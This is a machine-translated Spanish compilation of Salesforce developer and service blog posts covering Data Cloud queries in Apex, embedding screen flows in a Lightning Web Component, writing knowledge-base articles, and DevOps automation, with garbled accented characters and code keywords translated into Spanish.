Supongamos que Solar Circles, nuestro fabricante ficticio de paneles solares, tiene datos sobre un cliente llamado Martha en varios sistemas. Cada sistema tiene informaci贸n diferente sobre ella, como diferentes direcciones de correo electr贸nico. Estos datos 煤nicos se denominan puntos de contacto . Los clientes como Martha est谩n representados por m煤ltiples registros de contacto y perfiles espec铆ficos del sistema en varios sistemas. Esto es necesario para que cada nube y producto funcione de forma independiente, pero puede crear silos de datos.

Data Cloud proporciona una funci贸n de resoluci贸n de identidad para resolver este problema. Mediante el uso de reglas de identidad , el sistema crea perfiles individuales unificados que se pueden usar para segmentaci贸n y activaciones en varios otros sistemas.

Buscar informaci贸n de perfil de Data Cloud

A continuaci贸n se muestra un c贸digo Apex de utilidad de ejemplo que busca informaci贸n de perfil. Tenga en cuenta que se utiliza el m茅todo queryProfileApi de la clase ConnectApi.CdpQuery .

<dx-code-block title language="apex" code-block=" @AuraEnabled public static List getProfileData( String dataModelName, String childDataModelName, String searchKey, String customerName ) { ConnectApi.CdpQueryOutput response = ConnectApi.CdpQuery.queryProfileApi( dataModelName, // Name of the data model object, for example, UnifiedIndividual__dlm customerName, // Value of the primary or secondary key field, for example, John. If unspecified, defaults to the value of the primary key field. childDataModelName, // Name of the child data model object, for example, UnifiedContactPointEmail__dlm. searchKey, // If a field other than the primary key is used, name of the key field, for example, FirstName__c null, // Comma-separated list of equality expressions within square brackets null, // Comma-separated list of child object field names that you want to include in the result 100, // Number of items to return. null, // Number of rows to skip before returning results. null // Sort order for the result set, ); return response.data; } “>

Aqu铆 hay un fragmento de c贸digo de ejemplo que invoca el c贸digo de utilidad anterior al pasar los par谩metros.

<dx-code-block title language="apex" code-block=" List response = DataCloudUtils.getProfileData( ‘UnifiedIndividual__dlm’, ‘UnifiedContactPointEmail__dlm’, ‘ssot__FirstName__c’, ‘Martha’ ); “>

El c贸digo busca la informaci贸n de perfil del cliente Martha en el objeto de modelo de datos UnifiedIndividual__dlm .

Aspectos destacados del c贸digo

  • El m茅todo utiliza ConnectApi.CdpQuery.queryProfileApi() para ejecutar la consulta de datos de perfil en la nube de datos
  • Los par谩metros de consulta incluyen los nombres del objeto del modelo de datos ( dataModelName ), el objeto del modelo de datos secundario ( childDataModelName ), el campo de clave de b煤squeda ( searchKey ) y el nombre del cliente ( customerName )
  • Se pueden proporcionar par谩metros opcionales adicionales, como expresiones de igualdad, nombres de campos de objetos secundarios, la cantidad de elementos para devolver, la cantidad de filas para omitir y el orden de clasificaci贸n para el conjunto de resultados.
  • La respuesta de la consulta se almacena en un objeto ConnectApi.CdpQueryOutput llamado response
  • El m茅todo devuelve response.data , que representa los datos recuperados de la consulta

Importante consideraci贸n

  • Vuelva a verificar los nombres de campo y objeto antes de usarlos en el c贸digo de Apex, ya que, de lo contrario, el m茅todo puede generar excepciones y errores internos del servidor.

驴C贸mo consultar datos de conocimientos calculados?

Los conocimientos calculados le permiten definir y calcular m茅tricas multidimensionales en todo su estado digital en Data Cloud. Data Cloud genera informaci贸n calculada al escribir SQL , de manera declarativa usando Insights Builder o usando Apex.

Streaming vs insights calculados

Hay dos tipos de informaci贸n en Data Cloud: transmisi贸n e informaci贸n calculada.

Los conocimientos calculados son funciones que pueden calcular m茅tricas en datos hist贸ricos. Se procesan en lotes. Por ejemplo, en nuestra aplicaci贸n Solar Circles, podemos tener una visi贸n calculada que mide la potencia total generada por los paneles agrupados por cada cliente.

La informaci贸n de transmisi贸n se genera casi en tiempo real mediante el an谩lisis del flujo continuo de datos entrantes. Estos conocimientos permiten la activaci贸n inmediata de acciones en los sistemas posteriores. Por ejemplo, la informaci贸n de transmisi贸n se puede utilizar para identificar a los clientes cuyos paneles solares generan una potencia m铆nima. Al aprovechar una acci贸n de datos en la transmisi贸n de conocimientos, podemos crear de manera proactiva un caso para dichos clientes en Salesforce Service Cloud.

Consultar datos a partir de una perspectiva calculada

Para consultar datos de las perspectivas calculadas, use el m茅todo queryCalculatedInsights de la clase CdpQuery . A continuaci贸n se muestra un fragmento de c贸digo de ejemplo que muestra c贸mo consultar datos de una perspectiva calculada conocida.

Aspectos destacados del c贸digo

  • El m茅todo queryCalculatedInsights de ConnectApi.CdpQuery se usa para recuperar informaci贸n calculada de Data Cloud.
  • El primer par谩metro es el nombre de API de la informaci贸n calculada, que debe terminar con __cio . Por ejemplo, <calculted insight api name> podr铆a reemplazarse por totalpowergenerated__cio .
  • Los siguientes par谩metros especifican dimensiones y medidas. Una dimensi贸n representa un campo o atributo en el que se basa la informaci贸n, mientras que una medida representa la m茅trica calculada. Proporcionar null para estos par谩metros incluye todas las dimensiones y medidas disponibles.
  • Se puede especificar el orden de clasificaci贸n para el conjunto de resultados, pero en este fragmento de c贸digo, se establece en null .
  • Los par谩metros opcionales adicionales incluyen filtrar el conjunto de resultados a un 谩mbito o tipo m谩s espec铆fico y especificar la cantidad de elementos que se devolver谩n y la cantidad de filas que se omitir谩n antes de devolver los resultados.
  • Los datos resultantes se almacenan en un objeto ConnectApi.CdpQueryOutput denominado response .

Importante consideraci贸n

  • Aseg煤rese de proporcionar el nombre de API correcto para la informaci贸n. Un nombre de API incorrecto da como resultado un error del sistema.

Conclusi贸n

En esta publicaci贸n de blog, brindamos una descripci贸n general de c贸mo puede aprovechar el poder de Salesforce Data Cloud y Apex para aprovechar los grandes datos para las empresas. Los ejemplos de c贸digo y los puntos destacados demuestran enfoques pr谩cticos para acceder y consultar datos de objetos de Data Cloud.

La publicaci贸n tambi茅n destaca las mejores pr谩cticas y las limitaciones que se deben tener en cuenta al trabajar con Data Cloud y Apex, como administrar los l铆mites de la CPU, utilizar el procesamiento asincr贸nico para grandes conjuntos de datos y garantizar la denominaci贸n correcta de la API para los conocimientos calculados.

En la siguiente parte de la serie, profundizaremos en las clases de Apex como CdpCalculatedInsight (consulte los documentos ), CdpIdentityResolution (consulte los documentos ) y CdpSegment (consulte los documentos ) que se pueden usar para administrar informaci贸n calculada, crear reglas de resoluci贸n de identidad y segmentaci贸n en Data Cloud mediante Apex.

Referencias adicionales

Sobre el Autor

Mohith Shrivastava es promotor de desarrollo en Salesforce con una d茅cada de experiencia en la creaci贸n de productos a escala empresarial en la plataforma de Salesforce. Actualmente se est谩 enfocando en las herramientas para desarrolladores de Salesforce, Flow, Apex y Lightning Web Components en Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes en Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a trav茅s de su Twitter @msrivastav13 .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Incrustar flujos de pantalla en el componente web Lightning

Incrustar flujos de pantalla en el componente web Lightning

脷ltima actualizaci贸n el 19 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo incrusta un flujo de pantalla dentro de un componente web Lightning?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Incruste el flujo de pantalla dentro de un componente web Lightning
  • Aplicar representaci贸n condicional en el componente web Lightning
  • Use uiRecordApi para obtener el valor del campo del registro sin usar la clase de Apex
  • y mucho m谩s

En el pasado, escrib铆 algunos art铆culos sobre Lightning Web Component . 驴Por qu茅 no echarles un vistazo mientras est谩s en ello?

  1. Pasar datos del componente web Lightning al flujo de pantalla
  2. Uso del componente web Lightning para mostrar un banner de alerta

Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Se le ha encomendado un requisito comercial para desarrollar un componente LWC con las siguientes funcionalidades:

  1. Deber铆a mostrar un flujo de pantalla llamado 'parterFlow' cuando el tipo de cuenta es 'Socio tecnol贸gico'.
  2. Deber铆a presentar un flujo de pantalla llamado 'customerFlow' cuando el tipo de cuenta es 'Cliente – Directo'.
  3. El componente LWC debe dise帽arse con la capacidad de incorporarse en la p谩gina de registro de rayos de la cuenta.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Para crear un flujo en el componente Lightning Web, establezca el atributo flowApiName del componente Lightning-Flow en el nombre de flujo que desea usar. El componente incluye botones de navegaci贸n (Atr谩s, Siguiente, Pausa y Finalizar) para que los usuarios naveguen dentro del flujo.

Tambi茅n usaremos un adaptador de cable uiRecordApi que nos permite interactuar con registros de Salesforce desde los componentes del componente web lightning sin escribir c贸digo Apex. Esta API le permite realizar operaciones como recuperar los datos de un registro o los detalles del dise帽o, crear, eliminar o actualizar un registro, etc. Estos son algunos de los m茅todos clave proporcionados por uiRecordApi :

  1. getRecord : este m茅todo le permite obtener datos de registro.
  2. getRecordCreateDefaults : este m茅todo proporciona los valores predeterminados que utiliza Salesforce al crear un nuevo registro.
  3. getRecordUi : obtiene los detalles de dise帽o de un registro, como qu茅 campos se muestran, c贸mo se muestran, etc.
  4. createRecord : este m茅todo le permite crear un nuevo registro.
  5. deleteRecord 鈥 Le permite eliminar un registro.
  6. updateRecord : te permite actualizar un registro existente.

En el archivo de configuraci贸n XML, usaremos lightning__RecordPage como destino para permitir que el componente web de iluminaci贸n se use en una p谩gina de registro en Lightning App Builder.

Pr谩ctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito comercial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:

  1. Cree un ScreenFlow (customerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  2. Cree un ScreenFlow (partnerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  3. Cree un componente web rel谩mpago para mostrar los diferentes flujos de pantalla seg煤n el tipo de cuenta

Paso 1.1: Definir propiedades de flujo (customerFlow)

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrir谩 el dise帽ador de flujo para usted.

Paso 1.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuaci贸n, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente informaci贸n :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 1.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se ver谩 como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versi贸n de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : customerFlow {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 2.1: Definir propiedades de flujo (partnerFlow)

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrir谩 el dise帽ador de flujo para usted.

Paso 2.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuaci贸n, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente informaci贸n :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 2.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se ver谩 como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versi贸n de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : flujo de socio { !$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 3: cree un componente web Lightning para mostrar los diferentes flujos de pantalla seg煤n el tipo de cuenta

Debajo de la plantilla de componente web lightning, se muestra una tarjeta Lightning titulada Iniciar pedido . Dependiendo de si la propiedad isPartner o isCustomer es verdadera, se iniciar谩 y mostrar谩 el Lightning Flow correspondiente ("rakeshistomMVP__partnerFlow" o "rakeshistomMVP__customerFlow").

embedFlowToLWC.html

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Desglosemos el c贸digo:

  • En LWC, el archivo HTML de cada componente debe envolverse con una etiqueta <plantilla> .
  • <template if:true={isPartner}> y <template if:true={isCustomer}> : estas son plantillas condicionales que muestran contenido en funci贸n de la veracidad de las propiedades isPartner e isCustomer , respectivamente. El contenido dentro de estas plantillas solo se representar谩 si la condici贸n correspondiente es verdadera.

<plantilla> <div class="slds-m-alrededor_medio"> <lightning-card title="Iniciar pedido" icon-name="est谩ndar:pedidos"> <div class="slds-m-alrededor_medio"> <template if:true={esSocio}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__partnerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> <template if:true={esCliente}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__customerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> </div> </tarjeta-rel谩mpago> </div>
</plantilla>
embedFlowToLWC.js

Este c贸digo JavaScript de muestra usa el decorador @api para crear propiedades p煤blicas. Por ejemplo, recordId es una propiedad reactiva p煤blica que contiene el ID de la p谩gina de registro. Mientras que el decorador @wire lee los datos de Salesforce. getRecord es una funci贸n del m贸dulo lightning/uiRecordApi que recupera un registro. accountType y accountName se importan del esquema de Salesforce.

  • Las declaraciones de importaci贸n se utilizan para importar los m贸dulos y las dependencias necesarios. LightningElement es el componente b谩sico para crear componentes web Lightning.
  • account({ error, data }) es una funci贸n que maneja la respuesta de la llamada getRecord . Si hay un error, asigna el error a this.error . Si se devuelven datos, establece this.accountName en el nombre de la cuenta y establece isPartner o isCustomer en verdadero seg煤n el tipo de cuenta.
  • get inputVariables() es un m茅todo captador que devuelve una matriz de objetos, que representa variables de entrada para un flujo. En este caso, devuelve el nombre de la cuenta.

import { LightningElement, api, wire } de 'lwc';
importar { getRecord } desde 'lightning/uiRecordApi';
importar tipo de cuenta desde '@salesforce/schema/Account.Type';
importar nombre de cuenta desde '@salesforce/schema/Account.Name'; exportar la clase predeterminada FlowLauncher extiende LightningElement { @api recordId; nombre de la cuenta; esSocio = falso; esCliente = falso; @wire(getRecord, { recordId: '$recordId', campos: [nombre de cuenta, tipo de cuenta] }) cuenta ({ error, datos }) { si (error) { this.error = error; } m谩s si (datos) { this.accountName = data.fields.Name.value; if(data.fields.Type.value === 'Socio tecnol贸gico') { this.isPartner = verdadero; this.isCustomer = false; } else if(data.fields.Type.value === 'Cliente - Directo') { this.isCustomer = true; this.isPartner = false; } } } obtener variables de entrada () { devolver [ { nombre: 'nombre de cuenta', tipo: 'Cadena', valor: este.nombreDeCuenta } ]; } handleStatusChange(evento) { if(evento.detalle.estado === 'FINALIZADO') { //Acci贸n despu茅s de que un flujo haya terminado } }
}
embedFlowToLWC.js-meta.xml

El elemento isExposed se establece en verdadero, lo que hace que el componente est茅 disponible para su uso en herramientas como Lightning App Builder o Flow Builder.

El elemento de objetivos se usa para especificar d贸nde se puede usar su componente. En este caso, la etiqueta lightning__RecordPage significa que este componente est谩 dise帽ado para usarse en una p谩gina de registro en Lightning App Builder.



<?versi贸n xml=鈥1.0鈥 codificaci贸n=鈥漊TF-8鈥?>
<LightningComponentBundle xmlns=鈥漢ttp://soap.sforce.com/2006/04/metadata鈥>
<apiVersion>58.0</apiVersion>
<isExposed>verdadero</isExposed>
<target>rel谩mpago__RecordPage</target>
</objetivos>
</LightningComponentBundle>

Prueba de concepto

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Continue reading

C贸mo puede escribir un buen art铆culo de base de conocimientos

C贸mo puede escribir un buen art铆culo de base de conocimientos

Un gran servicio al cliente no siempre involucra a un agente. Descubrimos que el 59% de los clientes prefieren herramientas de autoservicio para preguntas simples y problemas de servicio.

Sus clientes pueden obtener f谩cilmente las respuestas que necesitan con los art铆culos de la base de conocimientos, que son art铆culos de ayuda informativos en su sitio. Pueden encontrar lo que necesitan en cualquier momento (incluso a las 3 am), lo que libera a los agentes para que se concentren en solicitudes de servicio m谩s complejas.

Los agentes de servicio tambi茅n pueden usar los art铆culos de la base de conocimientos para resolver los problemas de los clientes y reducir su tiempo promedio de atenci贸n.

Proporcione las respuestas que sus clientes quieren

驴Pueden sus clientes encontrar soluciones a sus problemas sin pedir ayuda a un agente? Descubra c贸mo puede ofrecer una estrategia de autoservicio llena de conocimientos en Salesforce+.

Esta publicaci贸n de blog le dir谩 todo lo que necesita saber sobre c贸mo crear un art铆culo de la base de conocimientos. Aprender谩 qu茅 es un art铆culo de conocimiento, por qu茅 son importantes, qu茅 incluir cuando est谩 escribiendo y consejos y trucos (como IA generativa) para ayudarlo a comenzar.

驴Qu茅 es un art铆culo de la base de conocimientos?

Un art铆culo de la base de conocimientos es una p谩gina web que responde a una pregunta frecuente, soluciona un problema o ayuda a sus clientes a utilizar sus productos y servicios. A menudo incluyen instrucciones y respuestas escritas, pero tambi茅n pueden incluir im谩genes, videos, enlaces y otros elementos multimedia.

Los art铆culos de la base de conocimientos generalmente se encuentran en un lugar central en el sitio web o la plataforma de una empresa; esto podr铆a ser un centro de ayuda, una p谩gina de preguntas frecuentes o un portal de soporte. Este centro deber铆a facilitar que sus clientes encuentren las respuestas que buscan.

Si bien la estructura de este centro variar谩 seg煤n las necesidades de su negocio y sus clientes, debe tener una funci贸n de b煤squeda, etiquetas de art铆culos basadas en sus ofertas y t铆tulos que dejen en claro de qu茅 trata el art铆culo.

Si su centro de contacto tiene un chatbot , puede mostrar informaci贸n de art铆culos de conocimientos en respuesta a un mensaje del cliente. Muy pronto, los chatbots con tecnolog铆a de IA generativa podr谩n responder preguntas de servicio y dar respuestas mejores y m谩s personalizadas a partir de la base de conocimientos.

驴Por qu茅 son importantes los art铆culos de la base de conocimientos?

Estas son las tres razones principales por las que los art铆culos de la base de conocimientos son importantes para su empresa:

  • Proporcionar una mejor experiencia de servicio: es 10 veces m谩s probable que los clientes usen el autoservicio que contactar directamente a un centro de servicio. Tener un centro de conocimiento donde sus clientes puedan encontrar f谩cilmente las respuestas les brinda la experiencia de servicio que desean y les permite obtener servicio las 24 horas del d铆a, los 7 d铆as de la semana.
  • Reduzca la carga de casos en su centro de contacto: a medida que m谩s clientes resuelven sus problemas de forma independiente, menos casos requieren el apoyo de un agente. Esto libera a los agentes para que se concentren en resolver problemas m谩s complejos de los clientes y reduce la carga de trabajo general del centro de contacto.
  • Reduzca el tiempo promedio de manejo: a medida que los agentes resuelven casos 煤nicos y formalizan el conocimiento institucional en art铆culos, m谩s agentes pueden usar esa informaci贸n para resolver sus casos m谩s r谩pido y reducir el tiempo promedio de manejo. Las investigaciones muestran que el uso de art铆culos de la base de conocimientos puede resultar en una resoluci贸n un 33 % m谩s r谩pida .

C贸mo escribir un art铆culo de la base de conocimientos

Esta secci贸n lo guiar谩 a trav茅s de los pasos importantes que debe seguir antes de escribir un art铆culo de la base de conocimiento, qu茅 elementos incluir y algunos consejos 煤tiles para que sea a煤n m谩s f谩cil escribir un art铆culo de conocimiento.

Antes de escribir un art铆culo de conocimiento

Hay algunos pasos que desea tomar antes de escribir su art铆culo: el primero es averiguar sobre qu茅 tema escribir.

Considere estas tres preguntas cuando identifique el tema correcto para su art铆culo:

  • 驴Cu谩les son las preguntas m谩s comunes para las que recibe solicitudes de servicio?
  • 驴Cu谩les son los problemas m谩s comunes con los que sus clientes necesitan ayuda?
  • 驴Qu茅 informaci贸n ayudar铆a a sus clientes a aprovechar al m谩ximo sus productos y servicios?

Una vez que haya identificado los problemas m谩s comunes, aseg煤rese de no tener un art铆culo de conocimiento sobre este tema. Si un art铆culo ya existe, decida si necesita ser editado para agregar informaci贸n actualizada.

Si a煤n no existe ning煤n art铆culo sobre ese tema, 隆es hora de comenzar a escribir!

4 componentes de un buen art铆culo de base de conocimiento

  • Un t铆tulo claro: deja que tu cliente sepa qu茅 cubrir谩 tu art铆culo en el t铆tulo. Aseg煤rese de que el t铆tulo sea claro, conciso y describa con precisi贸n el contenido del art铆culo. Esto tambi茅n hace que el art铆culo sea m谩s f谩cil de encontrar.
  • Listas con vi帽etas o subt铆tulos: haga que su art铆culo de conocimiento sea f谩cil de hojear para que sus clientes no tengan que leer cada palabra para encontrar lo que necesitan. Cree listas con vi帽etas o subt铆tulos que muestren lo que se cubre en cada secci贸n. Si est谩 escribiendo un tutorial, escriba instrucciones paso a paso, incluidos los botones o elementos del men煤 para hacer clic, y col贸quelos en orden cronol贸gico.
  • Im谩genes, enlaces o videos : brinda a tus clientes tantos detalles como puedas para que puedan resolver el problema por s铆 mismos. Agregue capturas de pantalla, im谩genes, enlaces a otros art铆culos o videos a su art铆culo para ayudarlos.
  • Lenguaje simple: escriba de una manera que todos puedan entender f谩cilmente. Haga todo lo posible para evitar la jerga que se relaciona espec铆ficamente con su producto y servicio. Sus clientes no tendr谩n tanto conocimiento del producto como usted, as铆 que use un lenguaje simple en cada paso de su art铆culo.

Aspecto de un art铆culo completo de la base de conocimientos

Este es un ejemplo de un art铆culo de la base de conocimientos que creamos para un software de pago ficticio llamado ZapPay. Este art铆culo de conocimientos ayudar铆a a los clientes de ZapPay a vincular su cuenta bancaria a su cuenta de ZapPay.

Conecta tu cuenta bancaria a tu cuenta de ZapPay

Descripci贸n general

  • Descubra c贸mo conectar su cuenta ZapPay a su cuenta bancaria para enviar dinero, pagar facturas y transferir ZapCash a su cuenta bancaria.

SUGERENCIA: aseg煤rese de tener a mano su cuenta bancaria y n煤meros de ruta antes de comenzar este proceso.

  1. Inicie sesi贸n en su cuenta de ZapPay.
  2. Desde el tablero, toque su nombre y luego haga clic en Perfil.
  3. Seleccione "Conectar cuenta bancaria".
  4. A partir de ah铆, aparecer谩 una ventana emergente en su pantalla.
  5. Ingrese su n煤mero de cuenta bancaria en el cuadro de texto "N煤mero de cuenta" y su n煤mero de ruta en el cuadro de texto "N煤mero de ruta".
  6. Vuelva a verificar que sus datos sean correctos antes de continuar.
  7. Una vez que haya terminado, seleccione "Guardar".
  8. Dentro de las 24 horas, ver谩 un retiro de ZapPay de diez centavos o menos en su cuenta y luego un reembolso por la misma cantidad poco despu茅s. Esto es para garantizar que pueda retirar y depositar dinero con 茅xito entre su cuenta de ZapPay y su cuenta bancaria.

隆Felicidades! 隆Has conectado con 茅xito tu ZapPay a tu cuenta bancaria! Si necesita ayuda adicional, consulte los siguientes enlaces:

  • Agregar dinero a mi cuenta de ZapPay
  • Transferir dinero de ZapPay a mi cuenta bancaria
  • Desconectar cuenta bancaria
  • Agregar tarjeta de cr茅dito a la cuenta de ZapPay

3 consejos simples para comenzar con los art铆culos de la base de conocimientos (pista: IA)

Ahora que tiene lo que necesita para escribir el art铆culo perfecto de la base de conocimientos, as铆 es como puede comenzar.

  • Obtenga informaci贸n de registros y notas de casos antiguos para asegurarse de que est谩 incluyendo tantos detalles como sea posible y de que est谩 siguiendo los mismos pasos para obtener una resoluci贸n.
  • Para garantizar la precisi贸n y la legibilidad, trabaje con un administrador para configurar un proceso de aprobaci贸n de art铆culos de conocimiento. Esto garantizar谩 que la gram谩tica y la ortograf铆a sean correctas, que la informaci贸n sea precisa y que el formato de los art铆culos sea uniforme en todo el centro.
  • Conecte una herramienta de IA generativa a su consola de servicio y haga que cree el primer borrador de su art铆culo de conocimiento basado en los detalles de la conversaci贸n y los datos de CRM para que sus agentes experimentados lo revisen. Esto le ahorrar谩 tiempo y lo ayudar谩 a publicar sus art铆culos m谩s r谩pido.

Ahora sabe qu茅 es un art铆culo de la base de conocimientos y por qu茅 es importante tanto para los clientes como para los agentes. Comience a escribir art铆culos hoy para brindarles una excelente experiencia de servicio y aumentar la eficiencia de su centro de contacto.

Ahorre tiempo para sus clientes y agentes

Con herramientas de autoservicio como los art铆culos de la base de conocimientos, los clientes pueden obtener respuestas a las preguntas m谩s frecuentes en cualquier momento, lo que libera a sus agentes. Nuestra gu铆a muestra c贸mo las organizaciones de servicio de alto rendimiento facilitan el autoservicio.

Continue reading

Automatizaci贸n y Salesforce DevOps: una receta para el desarrollo acelerado

Automatizaci贸n y Salesforce DevOps: una receta para el desarrollo acelerado

脷ltima actualizaci贸n el 3 de julio de 2023 por Rakesh Gupta

En el acelerado mundo empresarial actual, la eficiencia en el desarrollo de software es vital. La automatizaci贸n ha surgido como una soluci贸n clave, agilizando los procesos para aumentar la productividad y liberar la innovaci贸n. Salesforce no es inmune a estos desaf铆os y complejidades de toda la industria.

Ingrese a DevOps. DevOps se ha convertido en un elemento esencial en el desarrollo de software, incluido Salesforce. Mediante la colaboraci贸n de desarrolladores, administradores y partes interesadas, Salesforce DevOps crea un entorno perfecto para la automatizaci贸n.

La combinaci贸n de automatizaci贸n y Salesforce DevOps cosecha m煤ltiples beneficios: menos errores, preparaci贸n m谩s r谩pida para el mercado, una canalizaci贸n de lanzamiento optimizada, menos repeticiones, calidad de c贸digo superior y mecanismos de retroalimentaci贸n m谩s fuertes. Mejora la eficiencia operativa y la velocidad de implementaci贸n en el ecosistema de Salesforce, fomentando un desarrollo 谩gil.

Este art铆culo explora la intersecci贸n de la automatizaci贸n y Salesforce DevOps, los beneficios de su sinergia y formas pr谩cticas de aplicarla para un desarrollo m谩s r谩pido en sus operaciones de Salesforce. Tanto si es un profesional de Salesforce como un novato, este art铆culo ofrece informaci贸n para reforzar su enfoque de DevOps de Salesforce con la automatizaci贸n.

Descripci贸n de DevOps de Salesforce

Antes de profundizar en c贸mo se cruzan Salesforce DevOps y la automatizaci贸n, es fundamental comprender lo que implica Salesforce DevOps.

DevOps, una combinaci贸n de ' Desarrollo ' y ' Operaciones ', es un conjunto de pr谩cticas dise帽adas para fusionar el desarrollo de software, el control de calidad y las operaciones de TI en un proceso unificado y fluido. En un contexto de Salesforce , DevOps es la uni贸n de estos principios con las s贸lidas capacidades de CRM de Salesforce, con el objetivo de facilitar procesos de desarrollo e implementaci贸n m谩s fluidos y r谩pidos.

En esencia, Salesforce DevOps incorpora principios como:

  1. Integraci贸n continua y entrega continua (CI/CD),
  2. responsabilidades compartidas,
  3. Acci贸n centrada en el cliente,
  4. Cultura de colaboraci贸n.

El objetivo es crear un entorno cohesivo donde los administradores, desarrolladores y otras partes interesadas puedan trabajar en armon铆a, lo que lleva a ciclos de desarrollo m谩s cortos, tiempo de comercializaci贸n m谩s r谩pido y software de alta calidad.

Sin embargo, a pesar de las ventajas de Salesforce DevOps, los desarrolladores a menudo enfrentan desaf铆os. Si bien es un activo, las caracter铆sticas integrales y la capacidad de personalizaci贸n de Salesforce pueden complicar el proceso de desarrollo e implementaci贸n .

Los desaf铆os difieren de un equipo a otro y de un caso de uso a otro, pero estos son algunos de los m谩s comunes:

  • Las diferencias en los entornos,
  • Administrar dependencias de c贸digo,
  • Manejo de metadatos,
  • Alinear el trabajo de diferentes equipos
  • Necesidad de mantener la calidad del c贸digo
  • Estabilidad del sistema mientras entrega a gran velocidad

Aqu铆 es donde la automatizaci贸n viene al rescate. La automatizaci贸n, en esencia, es el uso de la tecnolog铆a para realizar tareas con una intervenci贸n humana reducida. Cuando se aplica a Salesforce DevOps , puede aliviar significativamente estos desaf铆os.

Las pruebas automatizadas, por ejemplo, pueden mejorar la calidad del c贸digo al identificar errores al principio del proceso de desarrollo. Las implementaciones automatizadas pueden sincronizar metadatos y c贸digo en diferentes entornos, lo que reduce los errores de implementaci贸n. Del mismo modo, la automatizaci贸n de tareas repetitivas puede liberar el tiempo de los desarrolladores, lo que les permite concentrarse en actividades que agregan m谩s valor, como el desarrollo de funciones o el dise帽o de sistemas.

Adem谩s, la automatizaci贸n fomenta un proceso de desarrollo m谩s 谩gil, lo que permite actualizaciones peri贸dicas e incrementales en lugar de implementaciones r铆gidas de Salesforce. Este aspecto acorta el ciclo de desarrollo y facilita la reversi贸n de los cambios si algo sale mal, lo que aumenta la estabilidad general del sistema.

Aprovechamiento de la automatizaci贸n para el desarrollo acelerado de Salesforce

Acelerar el desarrollo de Salesforce a trav茅s de la automatizaci贸n implica identificar tareas manuales y repetitivas, implementar herramientas y marcos de automatizaci贸n adecuados y perfeccionar los procesos para mejorar la eficiencia y reducir los cuellos de botella. Profundicemos en cada una de estas 谩reas con m谩s detalle:

Identificaci贸n de tareas manuales y repetitivas

